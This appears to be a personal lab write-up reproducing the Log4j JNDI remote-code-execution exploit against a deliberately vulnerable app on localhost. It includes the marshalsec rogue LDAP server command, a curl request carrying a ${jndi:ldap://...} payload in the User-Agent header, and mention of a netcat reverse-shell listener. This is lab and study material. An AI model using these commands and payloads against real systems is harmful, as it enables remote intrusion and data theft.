Disclaimer : This is just a brain dump. I wanted to take a look at this in a local controlled environment and documented it along the way.
STEP 1: Run the vulnerable app
After a lot of searching and googling. I found the below to be simple and useful app that can be used in testing the exploit
Vulnerable app server
A quick look at the source code show’s that this app has 3 vulnerable parameters; user agent header, pwn parameter and the URI path
There is a docker file in this repo that will pull a 64bit docker image, since my Kali VM is x86, I had to build the maven project.
mvn clean compile assembly:single
Run the application on an older version of Java from JDK 1.8.0_112. You can download this from here (https://mirror.cnop.net/jdk/linux/)
STEP 2: Run a rogue LDAP server
A rogue LDAP server that can server the malicious java class has to be started. I did this using the marshelsec project
Run it using the following command. I will be serving the payload on port 8088 and payload will be called Log4jRCE
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://127.0.0.1:8088/#Log4jRCE"
Step3: Prepare the payload
I created a simple Java exploit for this with the below
Compile the code using javac (from JDK 1.8 112) . This will produce a java class file. Server this file using python http server on port 8088.
We have the LDAP server running on port 1389 and the webserver running on port 8088 serving the malicious class file.
We also will have a netcat listener on port 8181 to catch the reverse shell when the payload is executed.
STEP 5: Attacking the vulnerable app.
Sending the payload in the user-agent field
curl -v -H ‘User-Agent: ${jndi:ldap://127.0.0.1:1389/Log4jRCE}’ localhost:8080
We get a JNDI lookup on the LDAP server. The rogue LDAP server issues a link to our local webserver serving the payload
Reverse Shell!!
Other Observations
The above PoC worked as expected when java version “1.8.0_112” was used.
I tried running the vulnerable app with the default java on my Kali, version 17.0.1
Using the newer version of Java, the application did the JNDI lookup, but did not do the second stage HTTP request to my webserver
Direct RCE is not directly possible with this method, however it could potentially lead to RCE by chaining gadgets using local runtime components.
However, this allows us to exfiltrate data from the system.
Until Next time!!!
